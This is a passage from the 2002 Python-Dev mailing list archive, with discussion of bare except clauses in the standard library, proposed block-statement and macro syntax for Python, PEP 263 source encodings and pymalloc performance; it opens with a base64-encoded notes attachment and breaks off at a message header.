ciBvZiBvcyBtb2R1bGUKCQkgIGNhbGxzIC0gbG9va3MgYXQgZmlyc3QgYmx1c2ggbGlrZSBv
bmx5IGNhbiBiZSByYWlzZWQuCgpjZ2l0Yi5weTogYSBjb3VwbGUgbG9vayBsaWtlIHRoZXkg
bWlnaHQgcmVhc29uYWJseSBiZSBtb3JlIHNwZWNpZmljLCBidXQKCSAgdGhlIG1vZHVsZSBp
dHNlbGYgbmVlZHMgdG8gcmVjb3ZlciBmcm9tIGFzIG11Y2ggYXMgcG9zc2libGUsIHNvCgkg
IGVycmluZyBvbiB0aGUgc2lkZSBvZiBiZWluZyB0b28gZ2VuZXJhbCBpcyBwcm9iYWJseSBv
a2F5LgoKY29kZS5weTogPwoKY29tcGlsZWFsbC5weTogdGhlIG9uZSBnZW5lcmljIGV4Y2Vw
dCBzZWVtcyByZWFzb25hYmxlIC0gc2luY2UgY29tcGlsZWFsbAoJICAgICAgIG11c3Qga2Vl
cCBnb2luZy4KCkNvb2tpZS5weTogdGhlIG9uZSBnZW5lcmljIGV4Y2VwdCBsb29rcyBsaWtl
IGl0IHNob3VsZCBiZSBtb3JlIHNwZWNpZmljLgoKZG9jdGVzdC5weTogSSBUcnVzdCBUaW0g
KHRtKQoKZ2V0cGFzcy5weTogc2VlbXMgbGlrZSB0aGUgb25lIGdlbmVyaWMgZXhjZXB0IGNv
dWxkIGJlIG1vcmUgc3BlY2lmaWMuCgppbWFwbGliLnB5OiA/Cgpsb2NhbGUucHk6IHNlZW1z
IGxpa2UgdGhlIG9uZSBnZW5lcmljIGV4Y2VwdCBjb3VsZCBiZSBtb3JlIHNwZWNpZmljLgoK
b3MucHk6IGd1YXJkcyBhIGNhbGxlci1wcm92aWRlZCBmdW5jdGlvbiBpbiBfc3Bhd252ZWYg
LSBwcm9iYWJseSBoYXMgdG8gYmUKICAgICAgIGdlbmVyaWMuCgpwZGIucHk6IHNldmVyYWwg
Z2VuZXJpYyBleGNlcHRzIHNlZW0gbGlrZSBvcyBhbmQgYmRiLCBuZWVkcyB0byByZWNvdmVy
IGZyb20KCWVycm9ycyBpbiB1c2VyLXByb3ZpZGVkIGNvZGUuICBPdGhlcnMgc2VlbSBsaWtl
IHRoZXkgY291bGQgYmUgbWFkZQoJbW9yZSBzcGVjaWZpYy4KCnBvcGVuMi5weTogdGhlIG9u
ZSBleGNlcHQ6IGlzIGluIHRlc3QgY29kZS4KCnBzdGF0cy5weTogdGhlcmUgaGFzIHRvIGJl
IGEgYmV0dGVyIHdheSB0byB0ZXN0IGZvciB1bml4Li4uCgpweWNsYnIucHk6IG9ubHkgZ3Vh
cmRzIHR3byBjYWxscyB0byByZWFkbW9kdWxlX2V4IC0gc2hvdWxkIGJlIGFibGUKCSAgIHRv
IGlkZW50aWZ5IHdoYXQgZXhjZXB0aW9ucyBtaWdodCBiZSByYWlzZWQuCgpweWRvYy5weTog
c29tZSBndWFyZCBnZW5lcmljIGNvZGUgbGlrZSByZXByKCksIG90aGVycyBzZWVtIGxpa2Ug
dGhlIHBvc3NpYmxlCgkgIGV4Y2VwdGlvbnMgcmFpc2VkIHNob3VsZCBiZSBwcmV0dHkgc3Bl
Y2lmaWMuCgpyZXByLnB5OiBndWFyZHMgcmFuZG9tIGNvZGUuCgpyZXhlYy5weTogZ3VhcmRz
IHJhbmRvbSBjb2RlLgoKc2hlbHZlLnB5OiBwcmVzdW1hYmx5IGRpY3QncyBjbG9zZSgpIHJv
dXRpbmUgY291bGQgcmFpc2UgYW55dGhpbmcsIHNpbmNlCgkgICBpdCdzIGltcGxlbWVudGVk
IGluIGEgc3ViY2xhc3MuCgpzaHV0aWwucHk6IGd1YXJkcyBjb2RlIHRoYXQgb25seSBleGVj
dXRlcyBvcy5yZW1vdmUgb3Igb3Mucm1kaXIuICBTaG91bGQKCSAgIHByb2JhYmx5IGJlIG1v
cmUgc3BlY2lmaWMuCgp0ZW1wZmlsZS5weTogc2hvdWxkIHByb2JhYmx5IGJlIG1hZGUgbW9y
ZSBzcGVjaWZpYy4gIE9ubHkgZ3VhcmRzIG9zLnVubGluawoJICAgICBhbmQgb3MuZmRvcGVu
IGNhbGxzLgoKdGhyZWFkaW5nLnB5OiBJIFRydXN0IFRpbS4KCnRyYWNlYmFjay5weTogZ3Vh
cmRzIGEgY2FsbCB0byBzdHIodmFsdWUpIHdoZXJlIHZhbHVlIGlzIGEgcmVhc29uYWJseQoJ
ICAgICAgd2VsbC1rbm93biBvYmplY3Qgc3VjaCBhcyBzeXMuZXhjX2luZm8oKVsxXS4gIENv
dWxkIHByb2JhYmx5CgkgICAgICB0aWdodGVuIHVwLgoKdW5pdHRlc3QucHk6IGd1YXJkcyB3
aGF0IGxvb2tzIGxpa2UgY291bGQgYmUgcmFuZG9tIGNvZGUuCgp6aXBmaWxlLnB5OiBsb29r
cyBsaWtlIGl0IHNob3VsZCBiZSAiZXhjZXB0IChCYWRaaXBGaWxlLCBSdW50aW1lRXJyb3Ip
OiIuLi4KCmN1cnNlcy93cmFwcGVyLnB5OiBvdXRlciBleGNlcHQ6IGxvb2tzIG9rYXkgLSBp
bm5lciBzaG91bGQgcHJvYmFibHkgYmUgbW9yZQoJCSAgIHNwZWNpZmljLgoKZGlzdHV0aWxz
L2NvcmUucHk6IGhhcyAiZXhjZXB0OiByYWlzZSIgd2hpY2ggc2hvdWxkIHByb2JhYmx5IGp1
c3QgYmUKCQkgICBkZWxldGVkLgoKeG1sL3NheC9leHBhdHJlYWRlci5weTogPwoKcGxhdC1v
czJlbXgvZ3JwLnB5OiBjYW4ndCB0aGlzIGp1c3QgYmUgImV4Y2VwdCBJT0Vycm9yOiI/Cgpw
bGF0LW9zMmVteC9wd2QucHk6IGRpdHRvLgoKY2dpdGIucHk6IGdpdmUgaXQgdGhlIGJlbmVm
aXQgb2YgdGhlIGRvdWJ0IC0gaGFzIHRvIHdvcmsgaW4ganVzdCBhYm91dCBhbnkKCSAgc2l0
dWF0aW9uLgoKU2ltcGxlWE1MUlBDU2VydmVyLnB5OiBsb29rcyBsaWtlIGl0IGd1YXJkcyBy
YW5kb20gY29kZS4K
--cbZEu+XcE7--


From fredrik@pythonware.com  Tue Mar 19 22:55:51 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Tue, 19 Mar 2002 23:55:51 +0100
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <15511.42645.906782.720500@12-248-41-177.client.attbi.com>
Message-ID: <021801c1cf99$39a316e0$ced241d5@hagrid>

skip wrote:

> I'd like to break this bug into multiple pieces by

+1 (go ahead)

not that I could read your notes (my mailer simply refuses
to deal with untitled base64 blobs), but afaik, there are no
unqualified excepts in sre or xmlrpclib...

</F>



From greg@cosc.canterbury.ac.nz  Tue Mar 19 23:18:02 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 20 Mar 2002 11:18:02 +1200 (NZST)
Subject: [Python-Dev] rotor module
In-Reply-To: <3C96FDA9.95F0750C@lemburg.com>
Message-ID: <200203192318.LAA28460@s454.cosc.canterbury.ac.nz>

"Martin v. Loewis" wrote:
> 
> Neal Norwitz <neal@metaslash.com> writes:
> 
> > The only thing I was able to find was that mail was supposed to be
> > sent to: crypt@bxa.doc.gov.  
>
> Asking can't hurt.

But isn't it easier to get forgiveness than permission? :-)

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Wed Mar 20 00:12:29 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 20 Mar 2002 12:12:29 +1200 (NZST)
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <3C96FF64.94DA206D@prescod.net>
Message-ID: <200203200012.MAA28472@s454.cosc.canterbury.ac.nz>

Paul Prescod <paul@prescod.net>:

> Mixed feelings on that...not a big fan of the Ruby indiom:
> 
> 5.dotimes():
>    print "Hello";

My proposal has the (possibly minor) advantage over the Ruby syntax
that it doesn't have the (), so that it more closely resembles the
syntax of built-in control structures, and doesn't look so much like
you're making a call with one less parameter than you really
are. (Unfortunately, in the process, it manages to obscure that you're
making a call at all. :-[)

If you don't like the look of the dot-notation in that position, the
lock example could be done using a procedure instead of a method of
the lock object:

  withlock mylock:
    do_something()

  def withlock(lock, body):
    lock.acquire()
    try:
      body()
    finally:
      lock.release()

> I sort of like the fact that Python figures out what control flow
> features people need (e.g. foreach and simple generators) and just
> implements.

Yes, but the feature we're talking about is designed for those cases
where you badly need a control structure that Guido hasn't thought of
yet.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From guido@python.org  Wed Mar 20 00:13:15 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 19 Mar 2002 19:13:15 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: Your message of "Tue, 19 Mar 2002 14:59:01 CST."
 <15511.42645.906782.720500@12-248-41-177.client.attbi.com>
References: <15511.42645.906782.720500@12-248-41-177.client.attbi.com>
Message-ID: <200203200013.g2K0DFR02231@pcp742651pcs.reston01.va.comcast.net>

> About a year ago, Itamar Shtull-Trauring filed a bug report about the use of
> unqualified except clauses in the standard library.  Over the past year a
> number of instances have been corrected, but many remain.  I made a pass
> through those that remain and tried to break them into four groups:
> 
>     * Obviously okay, because the code must potentially recover from just
>       about anything.  Modules like repr.py fall into this category.
> 
>     * Not worth fixing, because the except: occurs in situations that would
>       not affect application code (such as in module tests).
> 
>     * Instances that should probably be fixed because it appears only a
>       narrow set of exceptions could be raised by the code called from their
>       try: blocks.
> 
>     * I Trust Tim (tm).
> 
> I'd like to break this bug into multiple pieces by
> 
>     * open a separate bug for each module that uses unqualified except
>       clauses that don't obviously need to guard against random exceptions
>       (see my notes below).

Hm, I think it may take more time to create all those bug reports than
it would to fix half of them.  So fix half of them first, thereby
greatly reducing the rest.

>     * for those uses that are obviously okay or don't seem worth fixing, add
>       a short comment to the code explaining why it's okay in the
>       neighborhood of the use.

+1

>     * close bug #411881 with a reference to the new bugs spawned by this
>       exercise.

I think I'd be happy to keep this bug open as the "master bug" for all
modules.

> While this will increase the number of open bugs, it will make this issue
> more tractable.  As currently constituted, I don't see this bug report ever
> getting closed.

This one and so many others...

> Attached are the notes I took while picking through the source.

Which BTW can be decoded easily by using

  python Lib/base64.py -d

--Guido van Rossum (home page: http://www.python.org/~guido/)


From greg@cosc.canterbury.ac.nz  Wed Mar 20 00:21:54 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 20 Mar 2002 12:21:54 +1200 (NZST)
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <3C96FF64.94DA206D@prescod.net>
Message-ID: <200203200021.MAA28476@s454.cosc.canterbury.ac.nz>

Paul Prescod <paul@prescod.net>:

> Me:
>
> > except that the thunk would have to have write access to
> > the namespace it's embedded in, perhaps implemented by
> > sharing the stack frame.
> 
> If the idea is for it to be a macro feature then yes. But it could be
> JUST an anonymous implicit thunk. Isn't that how it is in Ruby or
> Smalltalk?

The idea was to mimic both the syntax and semantics of built-in
control structures as closely as possible. If the body were a normal
2.2-style nested scope, the semantics would be different.  Most other
languages that allow passing of closures don't have this problem,
because their closures do have write access to outer scopes.

> How would the procedure know what variable names to expect in the
> block?

Not sure what problem you're seeing here. The body would be compiled
as an integral part of the procedure scope it's embedded in, just like
the body of any built-in control structure. Names assigned to in the
body would become local variables of the procedure.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From guido@python.org  Wed Mar 20 00:32:22 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 19 Mar 2002 19:32:22 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: Your message of "Wed, 20 Mar 2002 12:12:29 +1200."
 <200203200012.MAA28472@s454.cosc.canterbury.ac.nz>
References: <200203200012.MAA28472@s454.cosc.canterbury.ac.nz>
Message-ID: <200203200032.g2K0WMg02368@pcp742651pcs.reston01.va.comcast.net>

Just throwing out some thoughts.

There are several possible use cases for new customizable syntax:

- resource allocation (lock.acquire(); try-finally: lock.release())

- defining functions with special treatment (e.g. classmethods, properties)

- defining class-like things (e.g. Zope-style interface declarations)

Maybe it's possible to invent a new statement that covers all of
these?  Certainly a macro system should support doing all these
easily...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From greg@cosc.canterbury.ac.nz  Wed Mar 20 00:36:24 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 20 Mar 2002 12:36:24 +1200 (NZST)
Subject: [Python-Dev] generalized resource alloc and de-alloc
In-Reply-To: <200203191855.SAA04673@synaptics-uk.com>
Message-ID: <200203200036.MAA28479@s454.cosc.canterbury.ac.nz>

Gareth McCaughan <gmccaughan@synaptics-uk.com>:

>     with LHS=EXPR:
>        BODY
> 
> is the same as
> 
>     TEMPNAME=EXPR
>     LHS=TEMPNAME.begin()
>     try:
>         BODY
>     finally:
>         TEMPNAME.end()

I like the simplicity of this as compared to the "under"
proposal.

Here's an even simpler version:

  with LHS = EXPR:
    BODY

is equivalent to

  LHS = EXPR
  try:
    BODY
  finally:
    del LHS

with TEMPNAME substituted for LHS if the latter is is omitted.

As a bonus, this would double as a means of introducing a
local name with restricted scope.

In fact, you could turn it around and describe it as a facility for
introducing local names with restricted scope, with one application of
using it as a resource-acquisition control structure.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From pedroni@inf.ethz.ch  Wed Mar 20 00:57:35 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Wed, 20 Mar 2002 01:57:35 +0100
Subject: [Python-Dev] generalized resource alloc and de-alloc
References: <200203200036.MAA28479@s454.cosc.canterbury.ac.nz>
Message-ID: <03c301c1cfaa$39c6bbc0$6d94fea9@newmexico>

From: Greg Ewing <greg@cosc.canterbury.ac.nz>
> Here's an even simpler version:
> 
>   with LHS = EXPR:
>     BODY
> 
> is equivalent to
> 
>   LHS = EXPR
>   try:
>     BODY
>   finally:
>     del LHS

It would not work in Jython as expected, because we have no
ref counting, and gc is not deterministic.
And I think in general that adding ref counting based
feature to Python as a language (not impl) is a bad idea.

regards.



From tim.one@comcast.net  Wed Mar 20 01:39:19 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 19 Mar 2002 20:39:19 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <3C9695CC.A607AA5A@activestate.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEPOOFAA.tim.one@comcast.net>

[David Ascher]
> ...
> Macros in their generality scare me.

In that case, I elect you to be in charge of this project.  According to 87%
of licensed professionals, fear of macros in their generality is a normative
sign of mental health.



From tim.one@comcast.net  Wed Mar 20 01:53:54 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 19 Mar 2002 20:53:54 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <200203200032.g2K0WMg02368@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEAAOGAA.tim.one@comcast.net>

[Guido van Rossum]
> Just throwing out some thoughts.
>
> There are several possible use cases for new customizable syntax:
>
> - resource allocation (lock.acquire(); try-finally: lock.release())
>
> - defining functions with special treatment (e.g. classmethods,
>   properties)
>
> - defining class-like things (e.g. Zope-style interface declarations)

With that last I assume (or hope) that you're trying to subsume what Jim
Fulton was trying to get at in the "Context binding" thread on the Zope list
a few weeks back (which was itself a repeat of an earlier proposal nobody
responded to at the time -- wanted to, but couldn't make time).

> Maybe it's possible to invent a new statement that covers all of
> these?  Certainly a macro system should support doing all these
> easily...

I'd like to go back to Jim's original statement of "the problem" (since it
was more helpful than the proposed solution <wink>):

    It would be cool, IMO, if people could define their own
    block statements in Python.

I think all the use cases you had in mind fit this too, and it's not
vacuous.  For example, it rules out "expression macros", like trying to
cater to defining

    x implies y

as expanding to

    ((not (x)) or (y))

Python's better off without anything like that; new block statements aren't
nearly as disgusting <wink>.

one-sickly-step-at-a-time-ly y'rs  - tim



From barry@zope.com  Wed Mar 20 02:08:52 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Tue, 19 Mar 2002 21:08:52 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>
 <6qpu20dcv0.fsf@abnoba.intevation.de>
Message-ID: <15511.61236.222547.504289@anthem.wooz.org>

>>>>> "BH" == Bernhard Herzog <bh@intevation.de> writes:

    |    doc.BeginTransaction()
    |    try:
    |         try:
    |             something()
    |         except:
    |             # an error occurred part way through. make sure everything
    |             # is reverted (sort of a rollback)
    |             doc.AbortTransaction()
    |    finally:
    |         doc.EndTransaction()

Interesting.  I have similar idioms that I use, except that I
invariably would add bare raise after the AbortTransaction().

Neat idea though, that the under statement takes object conforming to
a particular (little `i' :) interface.  That seems nicely Pythonic to
me.

-Barry


From David Abrahams" <david.abrahams@rcn.com  Wed Mar 20 02:27:22 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 19 Mar 2002 21:27:22 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <15510.20147.954575.793020@magrathea.basistech.com>  <200203182057.g2IKvOa25605@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <053d01c1cfb7$27d30470$6f99accf@boostconsulting.com>

----- Original Message -----
From: "Guido van Rossum" <guido@python.org>

> I recently had a thought about how Python and C++ represent extreme
> ends of the spectrum of how much happens in the parser/compiler
> vs. how much happens at run time (although Lisp would be even more
> extreme than Python on this scale).
>
> - In C++, the compiler is incredibly powerful (especially with the new
>   templates).  This means you can use the compiler for very
>   sophisticated compile-time processing.  But the downside is that
>   if you don't know a lot about how compilers work, or how the
>   specific C++ compiler you're using works, it can be quite baffling
>   to figure out how you're supposed to accomplish even simple things
>   (e.g. examples like "istream_iterator<string> i(cin);" are quite
>   baffling).

Is this baffling because of the syntactic use of "<" and ">" or
something else?
Is this really accomplishing such a simple thing?
Wouldn't the equivalent thing in Python be equally baffling?
How do you make a Python iterator which reads integers from a file?

You /can/ do some extremely sophisticated compile-time processing using
the C++ compiler, and I wouldn't dream of arguing that it's always
straightforward, but the above doesn't seem like a good example.

> - In Python, the parser and compiler are extremely stupid -- e.g. the
>   compiler doesn't even know the type of variables, and translates
>   everything to very simple bytecode.
>
> This means that (ideally) when using Python, you only need to learn
> the intricacies of one system: the runtime, and that one is relatively
> well-behaved: when something's wrong, all the context is available,
> and can be shown in the debugger or in the traceback.  Contrast that
> to debugging C++: when the problem occurs at runtime, it may be
> difficult to correlate it to the relevant portions of the source
> (e.g. because of template expansion).

That doesn't follow for any compiler I know about. Debuggers step
through template code just like any other code. When templates cause
debugging woes it's generally at compile-time, because compilers /don't/
provide debugging tools for compile-time processing. The best most of us
can hope for is a template instantiation backtrace.

> When a C++ problem occurs at
> compile time, it may *still* be hidden by layers of template
> expansion, and even if it isn't, there are so many things to talk
> about that the compiler may have a hard time telling you what's wrong
> in a language you can understand

True enough, though more often than not compilers simply give you so
much information that it's hard to sort out what's relevant from what
isn't. Just imagine if Python were a pure functional language and all
you had to debug it with was a stack backtrace which included the values
of every function parameter. The situation with C++ compile-time
debugging is analogous. Post-processing tools like STLFilt can help a
(little) bit.

> -- again, you often end up learning a
> lot about compiler internals if you want to understand its error
> messages.

I wouldn't say that. I don't know anything about the internals of the
C++ compilers I use.

> I guess I'm wary of anything that adds compile time complexity,
> especially if the user will be aware of it -- I'm not set against
> adding optimizations, as long as they don't change the semantics and
> don't add new error messages or warnings.

It's hard to understand why anyone would want this sort of thing in a
(relatively) slow dynamic language like Python. Since there's no static
type checking, and compile-time polymorphism isn't going to buy you a
lot of speed, you can just use runtime polymorphism for most of the
cases I can imagine using templates for in C++.

-Dave



From barry@zope.com  Wed Mar 20 02:37:08 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Tue, 19 Mar 2002 21:37:08 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <200203200032.g2K0WMg02368@pcp742651pcs.reston01.va.comcast.net>
 <LNBBLJKPBEHFEDALKOLCGEAAOGAA.tim.one@comcast.net>
Message-ID: <15511.62932.60312.105706@anthem.wooz.org>

>>>>> "TP" == Tim Peters <tim.one@comcast.net> writes:

    |     It would be cool, IMO, if people could define their own
    |     block statements in Python.

    TP> I think all the use cases you had in mind fit this too, and
    TP> it's not vacuous.

Indeed.  Here's a strawman pure-Python implementation based on Bernard
Herzog's idea.  I'm not sure that the semantics of using() are quite
right (mine are different than Bernard's), but that can all be fleshed
out in the PEP <287 wink>.

Random bizarre thoughts:

- maybe a using: block could be named and passed around
- maybe `break' would be legal in a using: block
- maybe else: could follow a using: block instead of the __else__() method

In the following example, imagine that

    using <expr>:
	suite()

is syntactic sugar for:

    using(<expr>, suite)

seems-neat-and-possibly-even-useful-ly y'rs,
-Barry

-------------------- snip snip --------------------using.py
class IUsing:
    """A poor-man's interface for a using: expression."""
    counter = 0

    def __enter__(self):
        """Called when a using: block is entered."""

    def __leave__(self):
        """Called when a using: block is left, regardless of whether an
        exception has occurred or not.
        """

    def __exception__(self):
        """Called when an exception has occurred during a using: block."""

    def __else__(self):
        """Called when a using: block is exited normally."""

    def __iter__(self):
        """Creates an iterative using: block."""
        return self

    def next(self):
        """Raise StopIteration when an iterative using: block is done."""
        # By default, we do exactly one pass through the loop.
        if not self.counter:
            self.counter += 1
        else:
            raise StopIteration


def using(resource, suite):
    if not isinstance(resource, IUsing):
        raise TypeError, 'first argument must be an IUsing'
    if not callable(suite):
        raise TypeError, 'second argument must be callable'
    resource.__enter__()
    try:
        try:
            for __x__ in resource:
                suite()
        except:
            resource.__exception__()
            raise
        else:
            resource.__else__()
    finally:
        resource.__leave__()


class WithLock(IUsing):
    # Not part of the IUsing interface...
    def __init__(self):
        self.lock = 0

    def __enter__(self):
        print 'acquiring lock'
        self.lock = 1

    def __leave__(self):
        print 'releasing lock'
        self.lock = 0


_counter = 0
def once():
    global _counter
    print _counter
    _counter += 1


# At last!
using(WithLock(), once)
-------------------- snip snip --------------------

% python /tmp/using.py
acquiring lock
0
releasing lock


From andymac@bullseye.apana.org.au  Tue Mar 19 21:58:29 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Wed, 20 Mar 2002 07:58:29 +1000 (est)
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKELIOFAA.tim.one@comcast.net>
Message-ID: <Pine.OS2.4.32.0203200753330.1168-100000@tenring>

On Mon, 18 Mar 2002, Tim Peters wrote:

> [Tim]
> > Lots of people have reported modest speedups in non-pathological
> > programs too (except on OS/2 EMX, or something like that).
>
> [Andrew MacIntyre]
> > It works just fine when pymalloc is configured normally (~2% speedup).
>
> When running what?

pystone.py, MAL's PyBench - nothing real world though...

> > The performance hit came when I changed all interpreter memory
> > management to pymalloc.... (to deal with a pathological case in the
> > parser)
>
> I'm not sure what that means.  Rather than try to explain it (trust me:  it
> won't work <wink>), if you post a patch attached to a bug report on
> SourceForge, we can see whether the same is true on other boxes.

I did post the patch to python-dev at the time; but it'll have to be
redone in light of recent changes.

test_longexp was the pathological case.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From stephen@xemacs.org  Wed Mar 20 03:21:58 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 20 Mar 2002 12:21:58 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <m3663tho4v.fsf@mira.informatik.hu-berlin.de>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
 <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3663tho4v.fsf@mira.informatik.hu-berlin.de>
Message-ID: <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> This is not (primarily) about Emacs.

Of course it's not---it's about Python.  But I have worked extensively
with a programming system that attempts to implement the functionality
of PEP 263.  Is that experience irrelevant?  That experience came in
XEmacs---of course I'm going to refer to it.

By the way, where others in this thread have similar experience, it
would be helpful if they could refer to previous implementations
similar to PEP 263.

    Martin> This is not something you can do automatically.

Emacs is one of the good environments for doing so semi-automatically,
though.


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From tim.one@comcast.net  Wed Mar 20 03:30:33 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 19 Mar 2002 22:30:33 -0500
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
In-Reply-To: <15511.42645.906782.720500@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEAHOGAA.tim.one@comcast.net>

[Skip Montanaro]
> ...
> Attached are the notes I took while picking through the source.

If everyone would do the sensible thing and upgrade to Outlook, they'd have
no trouble reading your notes <wink>.

doctest.py: I Trust Tim (tm)

    Me too.  The first bare except is exec'ing arbitrary user-supplied
    code, and needs to catch everything.  The second needs to ignore
    any exception that may be raised by a user-define __str__, and
    that's any exception whatsoever, so ditto.

threading.py: I Trust Tim.

    The first needs to catch any exception that may leak out of the
    user's thread code, so can't be limited.  The second is lazy:

    try:
        self.__delete()
    except:
        pass

    but can't be made stronger without guessing at all the exceptions
    self.__delete() may raise.  You should shame Guido into catching
    the exceptions he thinks are "normal" in the body of self.__delete,
    and stop catching any at its call site.  The answers aren't obvious
    to me, but I'm afraid this is one of those contexts where we can
    get into non-obvious trouble due to module globals getting None'd
    out when Python is shutting down.  Better a Big Hammer than bogus
    shutdown errors.



From stephen@xemacs.org  Wed Mar 20 04:23:53 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 20 Mar 2002 13:23:53 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <3C960D66.D194BBE0@prescod.net>
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
 <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
 <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de>
 <87d6y2jdum.fsf@tleepslib.sk.tsukuba.ac.jp>
 <3C960D66.D194BBE0@prescod.net>
Message-ID: <877ko7j292.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Paul" == Paul Prescod <paul@prescod.net> writes:

    Paul> That's phase 2. It's harder to implement so it won't be in
    Paul> Python 2.3.  They are trying to get away with changing the
    Paul> *output* of the lexer/parser rather than the *input* because
    Paul> the lexer/parser code probably predates Unicode and
    Paul> certainly predates Guido's thinking about
    Paul> internationalization issues. We're moving in baby steps. 

OK, I'll go take a look at the parser/lexer code.

    >> The main issue would be anything that involves counting
    >> characters (not bytes!), I think.

    Paul> That would be an issue.

Martin mentions performance, which I believe to be a non-issue, but
need to check, and pgen.  Any others?

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From tim.one@comcast.net  Wed Mar 20 04:39:24 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 19 Mar 2002 23:39:24 -0500
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <Pine.OS2.4.32.0203200753330.1168-100000@tenring>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEAKOGAA.tim.one@comcast.net>

[Andrew MacIntyre]
> It works just fine when pymalloc is configured normally (~2% speedup).
> [when running]
> pystone.py, MAL's PyBench - nothing real world though...

Ah.  PyBench will be more interesting when the small object threshold is
boosted -- parts of it use oodles of tiny dicts, and pymalloc can't handle
them now.

[when redirecting all (I think) mallocs to go thru pymalloc]
> test_longexp was the pathological case.

It's a pathological case on some boxes without pymalloc.  IIRC, it takes so
long to finish on some flavor(s) of Mac that nobody has waited for it to
complete (we're talking over half an hour here).

I just tried it on my (Windows) box, after redefining PyMem_{MALLOC,
REALLOC, FREE} to resolve to _PyMalloc_{Malloc, Realloc, Free}.  Ahem.  That
was total disaster, since the call to PyMem_MALLOC at the end of
_PyMalloc_Malloc became unbounded recursion.  Doh!

I then further bashed obmalloc.c to call malloc/realloc/free directly.
test_longexp sped up significantly then, taking about 3 seconds before this
fiddling and about 2 seconds after.

So best guess is that test_longexp + pymalloc-all-the-time tickles some
pathology in your platform's malloc/realloc/free (or did).  Do you have a
lot of RAM?  test_longexp is a memory hog regardless.



From martin@v.loewis.de  Wed Mar 20 06:05:05 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 20 Mar 2002 07:05:05 +0100
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
